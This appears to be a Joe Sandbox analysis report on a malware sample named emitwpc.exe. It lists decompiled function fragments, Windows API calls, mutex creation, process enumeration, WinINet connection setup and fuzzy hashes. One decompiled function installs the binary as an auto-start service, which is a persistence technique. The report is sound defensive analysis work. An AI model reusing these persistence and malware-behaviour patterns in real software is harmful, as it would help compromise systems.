0x002a26bb
0x002a26c0
0x002a26c5
0x002a26d0
0x002a26d4
0x002a26da
0x002a26dd
0x002a26df
0x002a26e6
0x002a26eb
0x002a26f0
0x002a2747
0x002a26f2
0x002a26f2
0x002a26f7
0x002a2700
0x002a2700
0x002a2708
0x002a2715
0x002a271c
0x002a271f
0x002a2723
0x002a2724
0x002a2726
0x002a272a
0x002a272f
0x002a2730
0x002a2735
0x002a273e
0x002a2740
0x002a2740
0x002a274a
0x002a274f
0x002a2751
0x002a2751
0x002a2753
0x002a2758
0x002a275a
0x002a2751
0x002a276b

APIs

lstrlenW.KERNEL32(00000004), ref: 002A26D4

Part of subcall function 002A17C0: GetProcessHeap.KERNEL32(00000008,?,002A6B19), ref: 002A17C3
Part of subcall function 002A17C0: RtlAllocateHeap.NTDLL(00000000,?,002A6B19), ref: 002A17CA

lstrcpyW.KERNEL32(00000000,00000004), ref: 002A2708
lstrlenW.KERNEL32(00000004), ref: 002A270F

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$Processlstrlen$AllocateFreelstrcpy
String ID:
API String ID: 765874695-0
Opcode ID: 595b1861878d7f803fadce62c675f2c654f9832e32af703365ecbd1b635aa0cb
Instruction ID: 609bfac5352454395337aa57c951dd838b09741a5b7de69fd61667e0497de4cb
Opcode Fuzzy Hash: 595b1861878d7f803fadce62c675f2c654f9832e32af703365ecbd1b635aa0cb
Instruction Fuzzy Hash: DC215135E21216DFDB20DFA8DC846AEB7B9EF46710F1544A9D805A7210DF30AE29CB90

Uniqueness

Uniqueness Score: 0.05%

Function 0028274F, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 141memoryCOMMON

APIs

VirtualAlloc.KERNEL32 ref: 002827C2

Strings

@, xrefs: 002827AB

Memory Dump Source

Source File: 0000000D.00000002.1560953872.00280000.00000040.sdmp, Offset: 00280000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_280000_emitwpc.jbxd

Similarity

API ID: AllocVirtual
String ID: @
API String ID: 4275171209-2766056989
Opcode ID: 8a7f9d8e536842aaba193dab609972e87ce91bab147f3ca87e3893aefa9c3bc0
Instruction ID: 36b65a9b6be1d958595dfcffb1d9000280ec4c18e2d95d884983bbe486fda824
Opcode Fuzzy Hash: 8a7f9d8e536842aaba193dab609972e87ce91bab147f3ca87e3893aefa9c3bc0
Instruction Fuzzy Hash: C851C5B5E052198FCB04CFADD88069DFBF1BF88320F15822EE459AB391D7749941CB84

Uniqueness

Uniqueness Score: 0.34%

Function 002AC511, Relevance: 3.0, APIs: 2, Instructions: 32synchronizationCOMMON

APIs

_snwprintf.NTDLL ref: 002AC52D
CreateMutexW.KERNEL32(00000000,00000000,?), ref: 002AC545

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CreateMutex_snwprintf
String ID:
API String ID: 451050361-0
Opcode ID: a337d6f4fd769c32c18371ffd0a47d13996ca28536088bb47bb7e2249191bfc9
Instruction ID: 1f9853c1e461c3554a1dc2b187149871124634fa4feb94792592ad2a07e14837
Opcode Fuzzy Hash: a337d6f4fd769c32c18371ffd0a47d13996ca28536088bb47bb7e2249191bfc9
Instruction Fuzzy Hash: 44E0D8716441155BDB00EBA8BC09BEE77A89F08714F14066EFA09D6191EE6195248B94

Uniqueness

Uniqueness Score: 0.01%

Function 002AC571, Relevance: 3.0, APIs: 2, Instructions: 32synchronizationCOMMON

APIs

_snwprintf.NTDLL ref: 002AC58D
CreateMutexW.KERNEL32(00000000,00000000,?), ref: 002AC5A5

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CreateMutex_snwprintf
String ID:
API String ID: 451050361-0
Opcode ID: 7bcd59a190ce0330870fa6a3da93a078ca6f4a311775a81379040eb60ce7b445
Instruction ID: ba8723290cd2d6bd1d5df757668a8d95a4bce4cb1e83275c48f518a99de007e1
Opcode Fuzzy Hash: 7bcd59a190ce0330870fa6a3da93a078ca6f4a311775a81379040eb60ce7b445
Instruction Fuzzy Hash: 0EE0C0316401065BDB00EBA8BC0EBEE37ACDF08310F00022EFA09D6191EE7085348B94

Uniqueness

Uniqueness Score: 0.01%

Function 002A277F, Relevance: 3.0, APIs: 2, Instructions: 18COMMON

APIs

RtlGetVersion.NTDLL ref: 002A278A
GetNativeSystemInfo.KERNEL32(?), ref: 002A2794

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: InfoNativeSystemVersion
String ID:
API String ID: 2296905803-0
Opcode ID: b0cee308433ab0de1194f12908ccee9a2d3167beeb40183569b4b76c39242672
Instruction ID: 7947a272a5c72925455bf42f59297dc9679d7c5ff4b1cb74091110c5734de055
Opcode Fuzzy Hash: b0cee308433ab0de1194f12908ccee9a2d3167beeb40183569b4b76c39242672
Instruction Fuzzy Hash: 16E06D3190020D8BCB14CF50DC899ECB7B8AB24304F0000E5E109FA160EA31DB54CB10

Uniqueness

Uniqueness Score: 0.02%

Function 002A16FB, Relevance: 3.0, APIs: 2, Instructions: 17networkCOMMON

APIs

InternetConnectW.WININET ref: 002A16FB
InternetCloseHandle.WININET ref: 002A179E

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: HeapInternet$CloseConnectFreeHandleProcess
String ID:
API String ID: 162676692-0
Opcode ID: 54e217148bc0e789b82df86b5a00dde1876e90c331d5e51929fb315e4d9bbd0c
Instruction ID: 79cc96d4cf27f8c759d0846cc669151cdbb1936058c9303b1b8d3a8cecc6c618
Opcode Fuzzy Hash: 54e217148bc0e789b82df86b5a00dde1876e90c331d5e51929fb315e4d9bbd0c
Instruction Fuzzy Hash: 7AD0A776A102049B8700EB5CFC8846EF7B4EA84372B2103B6E819C3311CF3148608A40

Uniqueness

Uniqueness Score: 0.04%

Function 002AD864, Relevance: 3.0, APIs: 2, Instructions: 11
fileCOMMON

C-Code - Quality: 58%

			E002AD864(void* __esi) {
				int _t5;
				void* _t9;

				 *0x2b3344();
				L002A1DB0(__esi);
				_t5 = DeleteFileW(_t9 - 0x208); // executed
				return _t5;
			}

0x002ad864
0x002ad86f
0x002ad87b
0x002ad885

APIs

_snwprintf.NTDLL ref: 002AD864
DeleteFileW.KERNEL32(?), ref: 002AD87B

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: DeleteFile_snwprintf
String ID:
API String ID: 366827715-0
Opcode ID: 1c27507fa88938d68515db85e7cef6bf6d7362a8fefba2090984efa6a4b10456
Instruction ID: 83c4849609eb0ca28d504390f86e68fa08febf032d3b4655e168744e76810276
Opcode Fuzzy Hash: 1c27507fa88938d68515db85e7cef6bf6d7362a8fefba2090984efa6a4b10456
Instruction Fuzzy Hash: 35C08C3591402887CA00FBA8BC0D0DDB36CDB05325F4003CAE80A82212DF314B304BC1

Uniqueness

Uniqueness Score: 2.12%

Function 002A1C27, Relevance: 3.0, APIs: 2, Instructions: 10COMMON

APIs

Process32FirstW.KERNEL32 ref: 002A1C33
CloseHandle.KERNEL32 ref: 002A1C71

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseFirstHandleProcess32
String ID:
API String ID: 917458368-0
Opcode ID: 597386ee7e2436eba433433ea6eae12297a897c20746c3d50dbd52b2a9b75414
Instruction ID: 8326608401e19b68c0b7f118b4f00568f6867f456b891fd94458e1ab3172f6c7
Opcode Fuzzy Hash: 597386ee7e2436eba433433ea6eae12297a897c20746c3d50dbd52b2a9b75414
Instruction Fuzzy Hash: 33C01260175011EBE2105B65BC0CA6F392CAF02340B204209E80AA0000CFB48A208EAA

Uniqueness

Uniqueness Score: 0.01%

Function 002A29E6, Relevance: 3.0, APIs: 2, Instructions: 8
memoryCOMMON

C-Code - Quality: 100%

			E002A29E6(signed int __eax) {
				long _t3;
				void* _t5;
				void* _t6;

				_t3 = __eax *  *(_t6 + 0x10);
				_t5 = RtlAllocateHeap(GetProcessHeap(), 8, _t3); // executed
				return _t5;
			}

0x002a29e6
0x002a29f4
0x002a29fb

APIs

GetProcessHeap.KERNEL32(00000008,?), ref: 002A29ED
RtlAllocateHeap.NTDLL(00000000), ref: 002A29F4

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: ca6f4791d530e3676215f7d296baa4aa353081e42a38a5ec418b0cf2d264f735
Instruction ID: ea718afdcc56cad989b9ddf74c335f5febf152992cfd5337d9cc3bfc1a4132f9
Opcode Fuzzy Hash: ca6f4791d530e3676215f7d296baa4aa353081e42a38a5ec418b0cf2d264f735
Instruction Fuzzy Hash: 80B09272040225ABDB00DFE4BC0EABA3BACFB88701F004501FA0DC5060CA7296108B20

Uniqueness

Uniqueness Score: 0.01%

Function 002A1C58, Relevance: 3.0, APIs: 2, Instructions: 7COMMON

APIs

Process32NextW.KERNEL32 ref: 002A1C58
CloseHandle.KERNEL32 ref: 002A1C71

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandleNextProcess32
String ID:
API String ID: 4007157957-0
Opcode ID: 34f3d4f1cf54acb10584abf720c6bc7a43ffde07647893b476c7df5968be8227
Instruction ID: 80884125ac0c43bff35a9835a650359a5966fcd33b2538a1909cd2715002e135
Opcode Fuzzy Hash: 34f3d4f1cf54acb10584abf720c6bc7a43ffde07647893b476c7df5968be8227
Instruction Fuzzy Hash: E3B09220274001D752004B24B84CA2A262CBD06391351030AA40A90014DFB087309E16

Uniqueness

Uniqueness Score: 0.01%

Function 002AD569, Relevance: 3.0, APIs: 2, Instructions: 7serviceCOMMON

APIs

OpenSCManagerW.ADVAPI32 ref: 002AD569
CloseServiceHandle.ADVAPI32(00000000), ref: 002AD57E

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandleManagerOpenService
String ID:
API String ID: 1199824460-0
Opcode ID: 299da6e46cc19bcc1ab4173f3ab1bf90eb6628de155622c8d262a0afdd81a86d
Instruction ID: 46da183f361e0bfc421641f94a1a57388323d50c56069f4f262cabe64c8ced64
Opcode Fuzzy Hash: 299da6e46cc19bcc1ab4173f3ab1bf90eb6628de155622c8d262a0afdd81a86d
Instruction Fuzzy Hash: 6AB092B0A00302CFDF14CF32BD0C70A3FE8A704309B058345A80AC01A1CF748108DF60

Uniqueness

Uniqueness Score: 0.02%

Function 002A17C0, Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

C-Code - Quality: 100%

			E002A17C0(long __ecx) {
				void* _t2;

				_t2 = RtlAllocateHeap(GetProcessHeap(), 8, __ecx); // executed
				return _t2;
			}

0x002a17ca
0x002a17d0

APIs

GetProcessHeap.KERNEL32(00000008,?,002A6B19), ref: 002A17C3
RtlAllocateHeap.NTDLL(00000000,?,002A6B19), ref: 002A17CA

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: fab55c9365e745bb193d51f587c60a34e2c80b5ff254ab9078107b9c154e8bd3
Instruction ID: 8bfe6bd284edceea347d45db6d5141661fd0abdeafd88cc168fb4d7857fc0a53
Opcode Fuzzy Hash: fab55c9365e745bb193d51f587c60a34e2c80b5ff254ab9078107b9c154e8bd3
Instruction Fuzzy Hash: EFA002B15511206BDD4497E4BD0EA55355CA744701F004644B5458515099A656458725

Uniqueness

Uniqueness Score: 0.01%

Function 002A16C9, Relevance: 1.5, APIs: 1, Instructions: 25networkCOMMON

APIs

InternetOpenW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002A16E0

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$FreeInternetOpenProcess
String ID:
API String ID: 245805284-0
Opcode ID: ba241cc7b16297895f369582cf813c2807204510f74e18b1f42fa1316ad1f887
Instruction ID: 48a5af0a979f19c9d28f0edab2a0a38ad4e60a11f8a186bf5cd6067dbf474786
Opcode Fuzzy Hash: ba241cc7b16297895f369582cf813c2807204510f74e18b1f42fa1316ad1f887
Instruction Fuzzy Hash: 62E04F31E11234AB47209BDAA8884EFFFA8DE463B1B1441ABA909D3201DE754920CB90

Uniqueness

Uniqueness Score: 0.05%

Function 002AC4A5, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

APIs

GetWindowsDirectoryW.KERNEL32 ref: 002AC4A5

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: DirectoryWindows
String ID:
API String ID: 3619848164-0
Opcode ID: b77a70e0eeff64d18d0eaa6cb4640e054d04c003af46d44246bf52f122fee390
Instruction ID: b897ad5c93c3c292f7f73be7111c14798f6a7ec8d3730c29f865785bfc1739a0
Opcode Fuzzy Hash: b77a70e0eeff64d18d0eaa6cb4640e054d04c003af46d44246bf52f122fee390
Instruction Fuzzy Hash: 4CD01212D6421987DB309F04DC6A77173B8D707314F2442C6D80C971A0EFB15DF086E5

Uniqueness

Uniqueness Score: 0.02%

Function 002A15DC, Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

C-Code - Quality: 37%

			E002A15DC(void* __eax) {
				void* _t6;
				void* _t9;

				 *((intOrPtr*)(_t9 - 4)) = 0x400;
				_t6 =  *0x2b3fe8(0, _t9 - 0x404, __eax); // executed
				if(_t6 < 0) {
					goto 0x2c027e;
					return _t6;
				} else {
					return L002A27C0(_t9 - 0x404);
				}
			}

0x002a15dc
0x002a15ed
0x002a15f5
0x002a160c
0x002a1611
0x002a15f7
0x002a160b
0x002a160b

APIs

ObtainUserAgentString.URLMON(00000000,?), ref: 002A15ED

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: AgentObtainStringUser
String ID:
API String ID: 2681117516-0
Opcode ID: 1438ae031b29473c993163f1c4679374f0270fd8ff5f9a47cf170a7db1ff4467
Instruction ID: 0d490e4f87636271f69286943067dc410b1cd184663b937ae4d3ba416190fd67
Opcode Fuzzy Hash: 1438ae031b29473c993163f1c4679374f0270fd8ff5f9a47cf170a7db1ff4467
Instruction Fuzzy Hash: 35D05EF1910118A7EB10EE60ED4ABA9777C9B4570AF0042E4EF0CE1441EA716B694AA5

Uniqueness

Uniqueness Score: 0.05%

Function 002AD500, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t8;

				L002ACDA0(_t5);
				L002ACF00(); // executed
				_t3 = L002A1030(); // executed
				_t11 = _t3;
				if(_t3 != 0) {
					L002AC990(_t5, _t6, _t7, _t8, _t11); // executed
				}
				ExitProcess(0);
			}

0x002ad506
0x002ad50b
0x002ad510
0x002ad515
0x002ad517
0x002ad519
0x002ad519
0x002ad520

APIs

ExitProcess.KERNEL32 ref: 002AD520

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c5061f6cbcababf7e7830a7b668382a290f398497a1f4ec2f196a2e7c902e25c
Instruction ID: 8c5dfdba724c352abfbd1c661c7dd8a8ed4ecf1554288738082bb77c661141bc
Opcode Fuzzy Hash: c5061f6cbcababf7e7830a7b668382a290f398497a1f4ec2f196a2e7c902e25c
Instruction Fuzzy Hash: B5C08C2043860107D20433F50C0B30931080F03B71F640220BE22800D2FD10B570887B

Uniqueness

Uniqueness Score: 0.01%

Function 002AC4DC, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

APIs

GetVolumeInformationW.KERNEL32(?), ref: 002AC4EB

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 274a6d584f9d46ad1f152e064b5904bf526ee5b4078b5e7a7102160a7f515a5a
Instruction ID: b4e312c5634a789fb70d07dc69c0fb979d9ad5b4eaa96e951a45c408ae01f62e
Opcode Fuzzy Hash: 274a6d584f9d46ad1f152e064b5904bf526ee5b4078b5e7a7102160a7f515a5a
Instruction Fuzzy Hash: E0C04C658112095FC6199B50E80E9967378EF04705B1186CAE91947921E6715A548661

Uniqueness

Uniqueness Score: 0.02%

Function 002A1C10, Relevance: 1.5, APIs: 1, Instructions: 8processCOMMON

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 002A1C14

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: c31b03e4eaa25cc73ffe78c6decafe83651cb847848734b3fd36b9e2f0188382
Instruction ID: 97c247a91c9e2e7789cb5ad5a96b35f410bb3753fb7bca6c4513be2f95523b2f
Opcode Fuzzy Hash: c31b03e4eaa25cc73ffe78c6decafe83651cb847848734b3fd36b9e2f0188382
Instruction Fuzzy Hash: A6B09B31534620C78338753C648C519505119493743250726CD7E931E055A14C755941

Uniqueness

Uniqueness Score: 0.01%

Function 002AD8A3, Relevance: 1.5, APIs: 1, Instructions: 8fileCOMMON

APIs

CreateFileW.KERNEL32 ref: 002AD8A5

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8a668fccd01a0c767381ac5cb1954cf4805537e39800a25be404098d8896de23
Instruction ID: 68dd989ed3d7c462a2bd360adbe97840eb73212b4de8cdc6facf7ca10022d4f6
Opcode Fuzzy Hash: 8a668fccd01a0c767381ac5cb1954cf4805537e39800a25be404098d8896de23
Instruction Fuzzy Hash: 40B0123243C4328B46107E3C740C7D851140247334316039ADC77536E0F9A04DB74492

Uniqueness

Uniqueness Score: 0.01%

Function 002AD61D, Relevance: 1.5, APIs: 1, Instructions: 2COMMON

APIs

SHGetFolderPathW.SHELL32 ref: 002AD61D

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 3865620136b2f9be200f0b3442e37f4adac3640dda26578c26968a76b57eb609
Instruction ID: c93c818cb9b094ab988e569a5d5cfe5e6f24f3b7f7eba26a97092cb5ef3b4ebd
Opcode Fuzzy Hash: 3865620136b2f9be200f0b3442e37f4adac3640dda26578c26968a76b57eb609
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: 0.01%

Function 00281FA4, Relevance: 1.4, APIs: 1, Instructions: 147memoryCOMMON

APIs

VirtualAlloc.KERNEL32 ref: 0028206B

Memory Dump Source

Source File: 0000000D.00000002.1560953872.00280000.00000040.sdmp, Offset: 00280000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_280000_emitwpc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1374ca2cd218c8da3dea32c612fb4b524c12b4a5dcce5f438b317e5499d1abba
Instruction ID: f767c04d4f7cd41d2584d162b00597f7a83a9d78107d15ab329abfc9f9def462
Opcode Fuzzy Hash: 1374ca2cd218c8da3dea32c612fb4b524c12b4a5dcce5f438b317e5499d1abba
Instruction Fuzzy Hash: E861D4B4D012199FDB04DFA8D59069EBBF1FF88304F24842ED549A7384D775A942CF84

Uniqueness

Uniqueness Score: 0.00%

Function 002A1C6A, Relevance: 1.3, APIs: 1, Instructions: 7COMMON

APIs

CloseHandle.KERNEL32 ref: 002A1C71

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 2ee08b3148518ce37d2bfb14d2a6fc1c57216e4f270d1730ac629bfbdd792ce5
Instruction ID: 398cb2723797d57727cc0d6f294b5d0789081e21e662c5273333756760233811
Opcode Fuzzy Hash: 2ee08b3148518ce37d2bfb14d2a6fc1c57216e4f270d1730ac629bfbdd792ce5
Instruction Fuzzy Hash: 52B012201B0513D3510017642E88F2D11182D023E43500204D506E0000DF508A305E5A

Uniqueness

Uniqueness Score: 0.04%

Non-executed Functions

Function 002ADCB9, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52
serviceUNIQUE

C-Code - Quality: 43%

			E002ADCB9(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t19;
				void* _t28;
				int _t32;
				void* _t34;

				_t28 = __edi;
				_t31 = L002A1D10(__ecx, 0xcc, __edi, __esi);
				 *0x2b3344(_t34 - 0x20c, 0x104, _t4, "C:\Windows\system32\emitwpc.exe");
				L002A1DB0(_t4);
				_t19 = CreateServiceW(__edi, "emitwpc", "emitwpc", 0x12, 0x10, 2, 0, _t34 - 0x20c, 0, 0, 0, 0, 0);
				if(_t19 != 0) {
					_t27 = _t34 - 4;
					__eflags = L002ADA10(_t9, __edi, _t34 - 4, __edi);
					if(__eflags != 0) {
						goto 0x2c1d9b;
						asm("int3");
						asm("int3");
						 *0x2b2c74();
						E002A1830(_t31);
					}
				} else {
					_t27 = 0xcc;
					asm("int3");
					_t19 = OpenServiceW(??, ??, ??);
				}
				_t41 = _t19;
				if(_t19 == 0) {
					_t32 = 0;
					__eflags = 0;
				} else {
					_t32 = StartServiceW();
					CloseServiceHandle(_t19);
				}
				L002ADC00(_t28, _t27, _t32, _t41);
				CloseServiceHandle(_t28);
				return _t32;
			}

0x002adcb9
0x002adcc0
0x002adcd4
0x002adcdf
0x002add0e
0x002add12
0x002add26
0x002add30
0x002add32
0x002add34
0x002add39
0x002add3a
0x002add3b
0x002add43
0x002add43
0x002add14
0x002add19
0x002add1b
0x002add22
0x002add22
0x002add48
0x002add4a
0x002add62
0x002add62
0x002add4c
0x002add58
0x002add5a
0x002add5a
0x002add66
0x002add6c
0x002add7a

APIs

_snwprintf.NTDLL ref: 002ADCD4
CreateServiceW.ADVAPI32(?,emitwpc,emitwpc,00000012,00000010,00000002,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 002ADD08
CloseServiceHandle.ADVAPI32(?,?,emitwpc,emitwpc,00000012,00000010,00000002,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 002ADD6C

Strings

emitwpc, xrefs: 002ADCFD, 002ADD02
C:\Windows\system32\emitwpc.exe, xrefs: 002ADCC8

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

